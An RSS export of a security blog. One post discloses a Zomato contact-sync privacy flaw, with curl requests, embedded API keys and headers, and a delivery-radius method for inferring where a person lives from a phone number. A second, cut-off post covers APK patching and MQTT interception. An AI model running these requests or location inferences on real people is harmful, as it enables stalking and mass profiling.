<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Jatin's Blog]]></title><description><![CDATA[Jatin's Blog]]></description><link>https://jatin-banga.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Wed, 25 Nov 2026 12:31:16 GMT</lastBuildDate><atom:link href="https://jatin-banga.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Zomato Privacy Flaw: How the ‘Friend Recommendations’ Feature Enables Location Stalking]]></title><description><![CDATA[How Zomato's one-way contact sync exposes your location to anyone with your phone number and why they called it intended behavior.]]></description><link>https://jatin-banga.hashnode.dev/zomato-privacy-flaw-friend-recommendations-enables-location-stalking</link><guid isPermaLink="true">https://jatin-banga.hashnode.dev/zomato-privacy-flaw-friend-recommendations-enables-location-stalking</guid><category><![CDATA[Security]]></category><category><![CDATA[privacy]]></category><category><![CDATA[OSINT]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[Zomato]]></category><category><![CDATA[Android]]></category><dc:creator><![CDATA[Jatin Banga]]></dc:creator><pubDate>Sat, 28 Feb 2026 13:56:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69a2e1f60728161017e1af05/1a345f46-8b97-43e7-85fa-8d3e2a4b6dea.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>TL;DR:</strong> Zomato’s “Friend Recommendations” API allows unilateral contact syncing. By uploading a phone number, bad actors can extract a user’s restaurant recommendation history and restaurant coordinates. By mapping overlapping delivery radii, an attacker can estimate a user’s approximate physical location without their consent. <strong>GitHub Repository &amp; Full Proof of Concept Code:</strong> <a href="https://github.com/jatin-dot-py/zomato-intelligence">https://github.com/jatin-dot-py/zomato-intelligence</a> (Status: As of 26 Feb, the endpoints remain unpatched)</p>
</blockquote>
<img src="https://cdn.hashnode.com/uploads/covers/69a2e1f60728161017e1af05/ba72e2bc-8984-47f4-aba1-4dbb27a9971c.webp" alt="Screenshot of Eternal security team closing HackerOne privacy report." style="display:block;margin:0 auto" />

<p>Last week, I reported a privacy flaw in Zomato’s “Friend Recommendations” feature with a proof-of-concept video and an automated script. Eternal (<em>Zomato’s parent company after the rebrand</em>) closed the ticket in 12 minutes, labelling the ability to track a stranger’s approximate physical location as “Intended Behaviour.”</p>
<p><strong>The flaw</strong>: anyone who has your phone number can silently sync it against Zomato’s API, extract your restaurant recommendation history, and map delivery radius overlaps to estimate where you live — without your knowledge, without your consent, and without any notification sent to you.</p>
<h2>Discovering the API Flaw</h2>
<p>I have known this was a possibility for months; I realized this because:</p>
<p>The refrigerator repair or service center guys aren't my friends. All I did was save their contacts. Why am I supposed to know what they eat or where they potentially have been?</p>
<p>I was just lazy at that time and didn’t give it a second thought until my last <a href="https://medium.com/@jatin.b.rx3/i-found-a-bug-that-exposed-private-instagram-posts-to-anyone-eebb7923f7e3"><strong>Instagram Privacy Bypass disclosure</strong></a> gave me motivation to hunt more.</p>
<p>I chose the Zomato app, and this time I was 100% sure what to look for exactly. It’s dangerously simple: I sync and desync the API contact endpoints and view my contact’s collection. This allows me to see their recommendations. Finally, I query a specific restaurant endpoint to retrieve dish names, metadata, and coordinates.</p>
<p>I was able to assemble a working proof of concept in just 3 hours.</p>
<h2>The Illusion of Consent in ‘Friend Recommendations’</h2>
<p>The core issue lies in a misleading design choice: <strong>The Definition of a Friend.</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/69a2e1f60728161017e1af05/e97ebc08-3193-44d8-bbc0-2aabf97c2e48.webp" alt="Zomato app user interface showing misleading privacy settings for friend recommendations." style="display:block;margin:0 auto" />

<p>In most social apps (Instagram, LinkedIn), a “connection” or “friend” is Mutual. I add you, you accept me, and then we share data. Zomato uses a <strong>Unilateral model.</strong></p>
<ul>
<li><p><strong>How Users Think It Works</strong>: “<em>I share my food history with my friends.</em>”</p>
</li>
<li><p><strong>How It Actually Works</strong>: “<em>Anyone who has my phone number can see my food history</em>.”</p>
</li>
</ul>
<p>I wrote a script to interact directly with the sync-desync contacts endpoint, skipping the app UI entirely:</p>
<ul>
<li><p>I upload a list of phone numbers (random or targeted. Potentially in thousands or even millions).</p>
</li>
<li><p>Zomato checks if those numbers have accounts.</p>
</li>
<li><p>Zomato returns the Recommendation History (Based on their order history), Taste Profile, and Ordered from Restaurants for every match.</p>
</li>
<li><p>There is no “Accept Request” button. The victim never gets a notification. If I have your number or if I can find your number, I have your data.</p>
</li>
</ul>
<p>They are attempting to build a social network on top of a delivery app, but they have stripped away the core safety feature of social networks: <strong>mutual consent</strong>.</p>
<h2>Exploiting Zomato API Endpoints: A Technical Proof of Concept</h2>
<h3><strong>Step 1: The sync-contacts endpoint</strong></h3>
<p><strong>Purpose</strong>: The attacker syncs the phone numbers they want to target.</p>
<p><strong>Request</strong>:</p>
<pre><code class="language-plaintext">
curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/sync-contacts" \
  -H "Accept: image/webp" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Content-Type: application/json; charset=utf-8" \
  -H "Host: api.zomato.com" \
  -H "X-Zomato-Access-Token: &lt;Your Token Here&gt;" \
  -H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
  -H "X-Zomato-App-Version: 931" \
  -H "X-Zomato-App-Version-Code: 1710019310" \
  -H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
  -d '{
    "flow_type": "revamped_flow",
    "contacts_access_level": "full_access",
    "contacts": [
      {
        "phone_numbers": ["+91 99999 99999"],
        "name": "poc_contact_9999999999",
        "id": "1"
      }
    ],
    "location": {
      "city_id": 11111,
      "place": {
        "delivery_subzone_id": 11111
      }
    }
  }'
</code></pre>
<p><strong>Response</strong>:</p>
<pre><code class="language-plaintext">{'status': 'success', 'message': 'success'}
</code></pre>
<h3>Step 2: get-contacts we just synced</h3>
<p><strong>Purpose</strong>: This step is crucial. The API endpoint indicates if the target is a Zomato user and if they have public recommendations. Most importantly, it retrieves the <code>encrypted_user_id</code> associated with that phone number.</p>
<p><strong>Request</strong>:</p>
<pre><code class="language-plaintext">curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/get-contacts" \
  -H "Accept: image/webp" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive" \
  -H "Content-Type: application/json; charset=UTF-8" \
  -H "Host: api.zomato.com" \
  -H "X-Zomato-Access-Token: &lt;Your Token Here&gt;" \
  -H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
  -H "X-Zomato-App-Version: 931" \
  -H "X-Zomato-App-Version-Code: 1710019310" \
  -H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
  -d '{
    "request_type": "initial",
    "additional_filters": {},
    "page_type": "contacts_management",
    "removed_snippet_ids": [],
    "page_index": "1",
    "count": 99999,
    "is_gold_mode_on": false,
    "keyword": "",
    "load_more": true
  }'
</code></pre>
<p>Simplified Response from <a href="https://github.com/jatin-dot-py/zomato-intelligence/blob/main/get_contacts.py"><em>get_</em></a><a href="http://contacts.py"><em>contacts.py</em></a> (the actual response is a complex structure, as Zomato uses <strong>Server Driven UI</strong>):</p>
<pre><code class="language-plaintext">[
  {
    "name": "poc_contact_XXXXXXXXXX",
    "is_zomato_user": true,
    "has_recommendations": true,
    "recommendations": 23,
    "encrypted_owner_user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX"
  },
  {
    "name": "poc_contact_9999999999",
    "is_zomato_user": false,
    "has_recommendations": false,
    "recommendations": 0,
    "encrypted_owner_user_id": null
  }
]
</code></pre>
<p>What is <strong>Encrypted User Id</strong>?: Instead of sending a public integer User ID, Zomato sends an encrypted_user_id so the user can be anonymized and the review data and potential PII does not get exposed from the following endpoint: <a href="https://zoma.to/u/123456">https://zoma.to/u/123456</a></p>
<h3>Step 3: The get_listing_by_usecase endpoint. Get Restaurant Names for the “Encrypted User ID”</h3>
<p><strong>Purpose</strong>: The purpose of this request is to turn that number of Recommendations to actual restaurant names and their specific outlets.</p>
<p><strong>Request</strong>:</p>
<pre><code class="language-plaintext"># Initial request cURL (for page 1; subsequent pages require dynamic postback_params)
curl -X POST "https://api.zomato.com/gateway/search/v1/get_listing_by_usecase" \
  -H "Accept: image/webp" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Content-Type: application/json; charset=UTF-8" \
  -H "Host: api.zomato.com" \
  -H "X-Client-Id: zomato_android_v2" \
  -H "X-Zomato-Access-Token: &lt;Your token Here&gt;" \
  -H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
  -H "X-Zomato-App-Version: 931" \
  -H "X-Zomato-App-Version-Code: 1710019310" \
  -H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
  -d '{
    "request_type": "initial",
    "page_type": "collection_page",
    "friend_recommendation_params": "{\"collection_type\": \"RECOMMENDATION\", \"owner_user_name\": \"your_owner_name_here\", \"encrypted_owner_user_id\": \"your_encrypted_owner_user_id_here\"}",
    "count": 10,
    "view_type": "RESTAURANT",
    "additional_filters": {},
    "removed_snippet_ids": [],
    "page_index": "1",
    "location": {
      "entity_type": "subzone",
      "entity_id": "9999999999",
      "place_type": "DSZ",
      "place_id": "9999999999"
    },
    "is_gold_mode_on": false,
    "keyword": "",
    "load_more": false
  }'
</code></pre>
<p><strong>Simplified Response</strong> from <a href="https://github.com/jatin-dot-py/zomato-intelligence/blob/main/get_contact_collection.py"><em>get_contact_</em></a><a href="http://collection.py"><em>collection.py</em></a> (Again the actual raw response has a complex structure):</p>
<pre><code class="language-plaintext">{
  "success": true,
  "total": 10,
  "restaurants": [
    {
      "name": "Pizza Wings",
      "res_id": "XXXXXXXXX",
      "chain_id": "XXXXXXXXX",
      "displayed_id": "XXXXXXXXX"
    },
    {
      "name": "Body Fuel Station",
      "res_id": "XXXXXXXXX",
      "chain_id": "XXXXXXXXX",
      "displayed_id": "XXXXXXXXX"
    },
    {
      "name": "Domino's Pizza",
      "res_id": "XXXXXXXXX",
      "chain_id": "143",
      "displayed_id": "XXXXXXXXX"
    },
    
    ...
  ],
&lt;redacted for brevity&gt;
</code></pre>
<p>You will notice the following things in the response:</p>
<ul>
<li><p><strong>chain_id</strong>: Its the parent id for a outlet. For example, For a chain like Subway, chain_id never changes eg: 123, and the res_id would represent the Id of the specific outlet of that subway.</p>
</li>
<li><p><strong>res_id</strong>: Stands for the restaurant Id, represents the actual outlet location.</p>
</li>
</ul>
<p>For franchises like subway, KFC, etc, The chain_id never changes, the res_id represents the particular KFC or Subway for a certain area.</p>
<p>Zomato API, does not guarantee to give us specific res_id when the restaurant is a Chain. This could be due to several reasons like Availability, Zomato tends to return the res_id’s that could be closer, weather conditions, No nearby riders etc…</p>
<p>For local restaurants like “Body Fuel Station”, the chain_id, and the res_id always remains the same. Here, Zomato API is forced to return the specific outlet as it’s not registered as a Chain on Zomato.</p>
<p>By now, we have a list of the restaurant our target has at least ordered from once.</p>
<h3>Step 4: Extracting Specific Food Items From the list of restaurants we got for our target using gw/menu/{res_id} Endpoint</h3>
<p><strong>Purpose</strong>: You must have noticed, when you refresh the restaurant menu, on the top section as a filter you get to see what your contact (“Friend”) has recommended. The goal is to now extract those specific items.</p>
<p><strong>Request</strong>:</p>
<pre><code class="language-plaintext">curl -X POST "https://api.zomato.com/gw/menu/&lt;res_id&gt;" \
  -H "Accept: image/webp" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Host: api.zomato.com" \
  -H "X-Zomato-Access-Token: &lt;Your Access Token&gt;" \
  -H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
  -H "X-Zomato-App-Version: 931" \
  -H "X-Zomato-App-Version-Code: 1710019310" \
  -H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
  -d "resID=&lt;res_id&gt;&amp;mode=delivery&amp;tabId=menu"
</code></pre>
<p><strong>Simplified Response</strong> From <a href="https://github.com/jatin-dot-py/zomato-intelligence/blob/main/get_menu.py"><em>get_</em></a><a href="http://menu.py"><em>menu.py</em></a> (Again, the actual structure is very complex):</p>
<pre><code class="language-plaintext">[
  {
    "user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX",
    "ordered_items": [
      {
        "name": "Peri Peri Pizza",
        "price": 289,
        "image": "https://b.zmtcdn.com/data/dish_photos/cea/20a8d49d5d4a28712956d92872636cea.png"
      },
      {
        "name": "Mexican Pizza",
        "price": 269,
        "image": "https://b.zmtcdn.com/data/dish_photos/260/7ce7ae6a108a3319f0b5a74a0cf0b260.png"
      },
      {
        "name": "Jalapeno Garlic Bread",
        "price": 239,
        "image": "https://b.zmtcdn.com/data/dish_photos/2a4/cdf164bb6648642a769403c7bd9392a4.png"
      },
      {
        "name": "Farmer Choice Pizza",
        "price": 299,
        "image": "https://b.zmtcdn.com/data/dish_photos/e35/b54ca6221ad549a9fa65376b6c0cae35.png"
      }
    ]
  },
  {
    ...
  }
]
</code></pre>
<p>We did it for one restaurant, but we have to run this script on each restaurant we identified from Step 3, and by then we will have a list of all dishes and the <strong>bare minimum price before discounts</strong>.</p>
<h3><strong>Step 5: Enriching the list of Restaurants we got for the user with Specific coordinates</strong></h3>
<p><strong>Purpose</strong>: The goal now is to enrich the list of all restaurants, to extract the latitude and longitudes.</p>
<p><strong>Request</strong>:</p>
<pre><code class="language-plaintext">curl -X POST "https://api.zomato.com/gw/menu/res_info/&lt;res_id&gt;" \
  -H "Accept: image/webp" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive" \
  -H "Content-Type: application/json; charset=utf-8" \
  -H "Host: api.zomato.com" \
  -H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
  -H "X-Zomato-App-Version: 931" \
  -H "X-Zomato-App-Version-Code: 1710019310" \
  -H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
  -H "X-Zomato-Is-Metric: true" \
  -H "X-Zomato-UUID: b2691abb-5aac-48a5-9f0e-750349080dcb" \
  -d '{"should_fetch_res_info_from_agg": true}'
</code></pre>
<p><strong>Simplified Response from</strong> <a href="https://github.com/jatin-dot-py/zomato-intelligence/blob/main/get_res_meta.py"><em><strong>get_res_</strong></em></a><a href="http://meta.py"><em><strong>meta.py</strong></em></a>:</p>
<pre><code class="language-plaintext">{
  "latitude": 30.XXXXXXXXXXX,
  "longitude": 76.XXXXXXXXXXX,
  "success": true
}
</code></pre>
<p>We will repeat this process for each restaurant for a user, then we will have the following details:</p>
<ul>
<li><p>Restaurant Names</p>
</li>
<li><p>Specific Dishes, Images, Prices from all Restaurants</p>
</li>
<li><p>Latitude and Longitude of the Restaurant or the specific Outlet.</p>
</li>
</ul>
<h3><strong>Final Aggregated Intelligence:</strong></h3>
<p>So, using series of “intended” Zomato features, I was able to get this data from just a phone number !</p>
<p><strong>Figure L:</strong></p>
<img src="https://miro.medium.com/v2/resize:fit:1000/1*jitVDUyXb8BNm80_YC8nHg.png" alt="Figure L : Terminal output showing Python script scraping Zomato API for user restaurant data and coordinates." style="display:block;margin:0 auto" />

<p>Zomato could have automatically stopped me at Step 3 or 4 by just checking, if the connection is mutual.</p>
<h2>Real-World Exploitation: Location Inference via Zomato Data</h2>
<p>The security team’s defence was: “Restaurant coordinates represent publicly listed business locations, not user locations.”</p>
<h3>Inferring a Target’s Approximate Location</h3>
<p>Let’s work through an actual example from my PoC data dump.</p>
<p><strong>Here’s what the API returned</strong>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69a2e1f60728161017e1af05/9614700e-0712-4495-acc5-b4a296866cb6.webp" alt="Figure M: POC script ran on a test user, returns all recommendations." style="display:block;margin:0 auto" />

<p>Notice: <strong>All local restaurants</strong>. Each has a unique res_id = chain_id, meaning these coordinates point to ONE physical location, not a chain.</p>
<h3>The Delivery Radius Overlap:</h3>
<p>Zomato’s typical delivery radius is 6 <strong>km — 9 km</strong> depending on the restaurant opt in policy. Let’s be conservative and use <strong>6 km</strong> for local shops.</p>
<p>Also, to get accurate delivery radius, you could use the Zomato app/ automated scripts to change location strategically to see if that restaurant still delivers to that area. But I’m skipping that for this experiment.</p>
<p>When I plot the coordinates I got from the script on a map (will exclude cases where chain_id != res_id ):</p>
<img src="https://miro.medium.com/v2/resize:fit:1000/1*u8b43IgcTr0P6sb5zHhL6g.png" alt="Figure N: Map demonstrating location trilateration using overlapping Zomato delivery radiuses." style="display:block;margin:0 auto" />

<p>The overlapping area represents the area where ALL three restaurants can deliver. Approximately 6 sectors.</p>
<p>Not to mention, a bad actor would be smart enough to exclude areas like parks, empty fields, and water bodies.</p>
<h3><strong>Behavioural Pattern Analysis &amp; Narrowing the intersection point further</strong></h3>
<p>Look at the order frequency for a different person (Refer to <strong>Figure L</strong>):</p>
<ul>
<li><p>Approximately 4 items ordered from “Sethi ****”, seeing the nature of items, it can be said there were multiple orders.</p>
</li>
<li><p>More repeated items from other restaurants.</p>
</li>
</ul>
<p>What this means is, for frequently ordered items, we can reduce the default delivery radius assumption which creates a tighter intersection.</p>
<h2>Zomato Data Leak Risks: Seed Lists and OSINT Integration</h2>
<p>While Zomato classifies this as a social feature for individuals, the technical implementation creates a significant risk of Mass Data Enumeration.</p>
<p>Because the “Friend Recommendation” API allows for one-way syncing without a two-way “handshake” (User Approval), it is theoretically possible to automate this process at scale.</p>
<h3>“Seed Lists”</h3>
<p>An unsophisticated attacker might try to guess phone numbers sequentially (+91–98XXX…). However, sophisticated bad actors do not need to guess. They utilize “Seed Lists” — massive databases of valid Indian mobile numbers verified from previous security incidents.</p>
<p><strong>Example</strong>:</p>
<ul>
<li><strong>Truecaller :</strong> As reported by <a href="https://www.bankinfosecurity.asia/researcher-data-leaked-for-300-million-truecaller-users-a-12519">BankInfoSecurity</a>, data for nearly <strong>300 million Indian users</strong> has been previously exposed. This provides attackers with a ready-made directory of valid, active phone numbers mapped to real names.</li>
</ul>
<h3>The Enrichment Attack:</h3>
<p>Instead of blindly pinging random numbers, an attacker feeds these high-fidelity “Seed Lists” into the Zomato API.</p>
<ul>
<li><p><strong>Input:</strong> Valid Phone Numbers from seed lists.</p>
</li>
<li><p><strong>Zomato Output:</strong> Recommendations (derived from orders), Spending Power (avg. order value), and <strong>Approximate Physical Location</strong> (via delivery radius overlap).</p>
</li>
</ul>
<p>As a result this turns Zomato into an “Enrichment Engine.” An attacker starts with just a phone number from an old leak, and Zomato effectively updates that record with the victim’s approximate location and profile.</p>
<p>By leaving this data accessible via a simple phone number query, the system unintentionally exposes the food preferences, location patterns, and spending profiles of its user base to anyone with the technical means to collect it.</p>
<h2>Beyond “Public Business Data”: Why Location Matters</h2>
<p>Up until this point, we have narrowed a user down to a specific neighbourhood or a cluster of 6–8 sectors. Zomato’s defence is that restaurant coordinates are publicly listed business locations — and technically, they’re right.</p>
<p>But that misses the point entirely.</p>
<p>A phone number in India trivially resolves to a full name via any UPI app (Google Pay, PhonePe) or Truecaller. So the actual output of this attack isn’t “restaurants in a neighbourhood.” It’s <strong>a named individual, tied to an approximate residential area, with their food preferences and spending patterns attached.</strong></p>
<p>It’s not public data. That is a profile.</p>
<p>Combined with a name, that’s enough to make someone findable — and that’s the threshold that matters for stalking, harassment, or targeted social engineering.</p>
<p>Zomato calling this “Intended Behaviour” doesn’t change what the output actually is.</p>
<h2>How to Protect Your Privacy: Disabling Zomato Friend Recommendations</h2>
<p>To prevent your location and recommendation history from being scraped, you must manually opt out:</p>
<ol>
<li><p>Open the Zomato App and navigate to your Profile.</p>
</li>
<li><p>Click ‘Friend Recommendations’ under Food Delivery.</p>
</li>
<li><p>Turn the feature off using the toggle switch.</p>
</li>
<li><p>Manually delete past recommendations to clear your history from the public API.</p>
</li>
</ol>
<img src="https://miro.medium.com/v2/resize:fit:700/1*KO6qqw_1xmXG5eOepA_UOQ.jpeg" alt="" style="display:block;margin:0 auto" />

<p><a href="https://medium.com/plans?source=promotion_paragraph---post_body_banner_unlock_stories_scribble--4372ccf56a77---------------------------------------">  
</a></p>
]]></content:encoded></item><item><title><![CDATA[I Reverse-Engineered Zomato’s Food Rescue Feature — Here’s What I Found Inside]]></title><description><![CDATA[How I intercepted Zomato's Android traffic, discovered MQTT credentials in plain JSON, and built a real-time monitor to win Food Rescue.]]></description><link>https://jatin-banga.hashnode.dev/i-reverse-engineered-zomato-s-food-rescue-feature-here-s-what-i-found-inside</link><guid isPermaLink="true">https://jatin-banga.hashnode.dev/i-reverse-engineered-zomato-s-food-rescue-feature-here-s-what-i-found-inside</guid><category><![CDATA[Security]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[Android]]></category><category><![CDATA[Python]]></category><category><![CDATA[mqtt]]></category><dc:creator><![CDATA[Jatin Banga]]></dc:creator><pubDate>Sat, 28 Feb 2026 13:23:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69a2e1f60728161017e1af05/f9e6d27c-3a7f-42fc-90ab-20d31e21d131.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Zomato’s “Food Rescue” is essentially a race condition. Here’s how I built a headless monitor to win it.</p>
<p>Every so often, Zomato throws a pop-up on your screen: a cancelled nearby order offered at 50% off. It’s gone in seconds — claimed by whoever is fast enough, or lucky enough to be staring at the right screen at the right time.</p>
<p>I missed it one too many times. Not because I was slow — because I wasn’t even looking. And that bothered me enough to do something about it.<br />What started as “I want a notification before the flyer appears” became a weeks-long deep dive into Android traffic interception, MQTT protocol internals, server-driven UI architecture, and Zomato’s real-time event pipeline. This is that story.</p>
<p><strong>The Problem: A Race Condition You Can’t Win Passively</strong></p>
<p>Food Rescue events trigger when a real human cancels an order that is already out for delivery. The deal appears for users within a ~3 km radius of where the delivery person currently is. The moment it appears in your app, it’s also appearing for dozens of other users. Miss the flyer — or accidentally swipe back — and it’s gone.</p>
<p>The official app requires you to be actively watching it. I wanted a solution that didn’t.</p>
<p>My goal: intercept the exact same real-time signals the Zomato app listens to, and send myself a push notification the moment a cancellation event fires — before the app even opens.</p>
<h3>Step 1: Intercepting the Traffic</h3>
<p>Reverse-engineering a web app is trivial. You open DevTools, go to the Network tab, right-click a request, and copy it as cURL. Done.<br />Mobile apps are a different problem entirely. Modern Android apps operate across three levels of certificate trust, each progressively harder to break:</p>
<p><strong>Level 1:</strong> User Trust: The app trusts any certificate you install in your phone’s settings. This method has been dead since Android 7, where apps stopped honoring user-installed certificates by default.</p>
<p><strong>Level 2</strong> : System Trust: The app trusts certificates pre-installed on the OS (the System Store). To intercept here, you need a rooted device or emulator so you can inject your own certificate into the system store.</p>
<p><strong>Level 3:</strong> SSL Pinning: The app hardcodes a specific fingerprint of its server certificate directly in its own code. Even if your certificate is in the system store, the app checks: “Does this certificate’s hash match the one I have stored?” If it doesn’t, the connection is killed immediately.</p>
<p>Interestingly, Zomato’s basic HTTP traffic was interceptable using HTTPToolkit, which injects a certificate into the system store. SSL pinning — if it exists in Zomato’s stack — either wasn’t enforced for these endpoints or HTTPToolkit was handling more under the hood than I initially understood.</p>
<p>I searched the intercepted traffic for keywords like food_rescue and rescue. An hour in, I found what I was looking for.</p>
<h3>Step 2: The Home Feed Endpoint</h3>
<p>When you open Zomato to a saved address, the app calls:</p>
<pre><code class="language-plaintext">GET /gw/tabbed-home?cell_id=412037575450XXXXXX&amp;address_id=123456 HTTP/1.1
Host: api.zomato.com
X-Zomato-Access-Token: ...
Accept: application/json
User-Agent: OkHttp/4.12.0
</code></pre>
<p>Both cell_id and address_id come from your saved addresses — they’re returned when you list your saved locations in the app.</p>
<p>The response is enormous — thousands of lines of JSON. The reason: Zomato uses <strong>server-driven UI</strong>. Every button, every action, every layout in the app is defined in this JSON response. The client is essentially just an interpreter. You see things like <em>layout_snippet_v3</em>, <em>timer_snippet_type_4</em>, and so on — the server tells the app what to render and what to do when you tap it.</p>
<p>Buried inside this response, under subscription_channels, was this:</p>
<pre><code class="language-plaintext">{
  "subscription_channels": [
    {
      "type": "food_rescue_cell_412037575450XXXXXX",
      "time": 174XXXXXXXX,
      "client": {
        "username": "zemqtt",
        "password": "secure_password_here",
        "keepalive": 900
      }
    }
  ]
}
</code></pre>
<p>I had no idea what MQTT was. A quick ask to an LLM confirmed: this was an MQTT subscription configuration. The app was subscribing to a real-time event channel. The MQTT host, however, wasn’t in the payload — it was hardcoded somewhere in the application binary.</p>
<h3>Step 3: Finding the MQTT Host</h3>
<p>This is where things got harder for me.</p>
<p>HTTPToolkit only intercepts HTTP. The garbled traffic I had been seeing in its UI wasn’t a bug — it was MQTT traffic being intercepted and misrepresented. No useful clues there.</p>
<p>I tried decompiling the APK using JADX and searching for strings like *.<a href="http://zomato.com">zomato.com</a> and mqtt. I could see where the MQTT connection was being established in the code, but I couldn’t isolate the actual host — too many search results, too much layering.</p>
<p>So I did something unconventional: I asked Grok to deep-search for anything publicly available about Zomato’s MQTT infrastructure. It surfaced the host: “<a href="http://consumermqtt.zomato.com">consumermqtt.zomato.com</a>”.</p>
<p>I still don’t know exactly how it found it. But after trying different protocols and common MQTT port numbers, I was able to connect. Later I discovered the official app actually uses “<a href="http://hedwig.zomato.com">hedwig.zomato.com</a>” — the other endpoint appears to be an alias.</p>
<h3><strong>Step 4: The First Real MQTT Message</strong></h3>
<p>Using MQTT Explorer, I subscribed to the topic food_rescue_cell_412037575450XXXXXX. The first message I ever received looked like this:</p>
<pre><code class="language-plaintext">{
  "id": "unique_hash_here",
  "event_type": "order_claimed",
  "timestamp": 177XXXXX
  &lt;other_fields&gt;
}
</code></pre>
<p>A few things I learned immediately:</p>
<ul>
<li><p>Zomato’s MQTT broker <strong>retains messages</strong>. If the last event was <code>order_claimed</code>, reconnecting 30 minutes later would still show you that message. Same for <code>order_cancelled</code> — if the order wasn't claimed, the cancellation message persists for a while.</p>
</li>
<li><p>There are two event types that matter: <code>order_cancelled</code> (the trigger) and <code>order_claimed</code> (the resolution).</p>
</li>
<li><p>Subscribing to <code>#</code> (all topics) was blocked — Zomato has access control configured per client.</p>
</li>
</ul>
<h3><strong>Step 5: How the App Reacts to a Cancellation</strong></h3>
<p>At this point I needed to understand exactly what the app does when it receives an order_cancelled event. HTTPToolkit couldn’t help here since it was blocking MQTT traffic.</p>
<p>I found apk-mitm, which patches the APK, removes the System Trust restriction from the manifest, and recompiles it — so the modified app explicitly trusts user-installed certificates. Combined with mitmproxy, I could now see both HTTP and MQTT traffic simultaneously.</p>
<p>After some waiting, a real cancellation event occurred nearby. The moment it did, the app fired:</p>
<pre><code class="language-plaintext">POST /gw/gamification/food-rescue/create-cart HTTP/1.1
Host: api.zomato.com
X-Zomato-Access-Token: your_token_here
X-User-Defined-Lat: 28.5355
X-User-Defined-Long: 77.3910
...
</code></pre>
<p>With a body built entirely from data already available in the address object. The response — when an active rescue exists — is a deeply nested JSON structure containing the cart ID, parent order ID, restaurant details, number of people watching, and a countdown timer.</p>
<pre><code class="language-plaintext">{
  "response": {
    "floating_timer_view_1": {
      "click_action": {
        "open_food_rescue_bottom_sheet": {
          "results": [
            {
              "timer_snippet_type_4": {
                "button": {
                  "click_action": {
                    "deeplink": {
                      "url": "zomato://order?res_id=1912345",
                      "post_body": "{\"cart_id\":\"cart_888\",\"context\":{\"cart_modification\":{\"ParentOrderID\":\"order_999\",\"ParentCartID\":\"cart_777\",\"CartModificationType\":\"replace\"},\"cart_analytics_data\":{\"number_of_people_watching\":\"15\",\"cart_expiry_timestamp\":\"1740000000\"}}}"
                    }
                  }
                }
              }
            }
          ]
        }
      }
    }
  }
...
}
</code></pre>
<h3><strong>Step 6: The “Pitch Once” Constraint</strong></h3>
<p>Here’s the painful part I discovered after wasting a day or two: the <code>/gw/gamification/food-rescue/create-cart</code> endpoint is <strong>pitch-once only</strong>.</p>
<p>The moment you call it, Zomato marks that you have been shown the offer. Call it a second time — even a second later — and you get a failure response. The server has either flagged your session as already notified, or someone else claimed it faster.</p>
<p>This means: if I called the endpoint programmatically when the MQTT event fired, and then the user opened the official Zomato app hoping to see the flyer — nothing would be there. The app had already “shown” it to my script.</p>
<p>I tried deep linking into the Zomato app from a notification to hand off the session. None of it worked reliably — too time-sensitive, too many variables.</p>
<p>So I accepted a simpler outcome: <strong>listen for the MQTT event, send a push notification, let the user open Zomato themselves.</strong> The notification would at least give them a head start versus waiting to stumble upon the flyer organically.</p>
<h3><strong>Step 7: Deduplication and Cooldown Logic</strong></h3>
<p>One issue I didn’t expect: Zomato sometimes fires the same <code>order_cancelled</code> event 3–5 times in rapid succession. Whether this is intentional retry logic or a side effect of their message retention setup, I'm not sure.</p>
<p>The fix was straightforward:</p>
<ul>
<li><p>Store the unique <code>id</code> from each event.</p>
</li>
<li><p>If the script has already processed that ID, skip it.</p>
</li>
<li><p>Implement a cooldown window so that even if multiple events arrive for the same cancellation, only one notification goes out.</p>
</li>
</ul>
<p>The first notification is all a user needs. Sending five is just noise.</p>
<h3><strong>Step 8: Building It Out</strong></h3>
<p>At this point the core logic was working. The remaining questions were about packaging.</p>
<p><strong>Login flow:</strong> Rather than asking users to manually intercept and hardcode their access token, I reverse-engineered Zomato’s login flow — phone number, OTP, session establishment — and built it into the tool. This took around 10–15 hours but made the tool self-contained.</p>
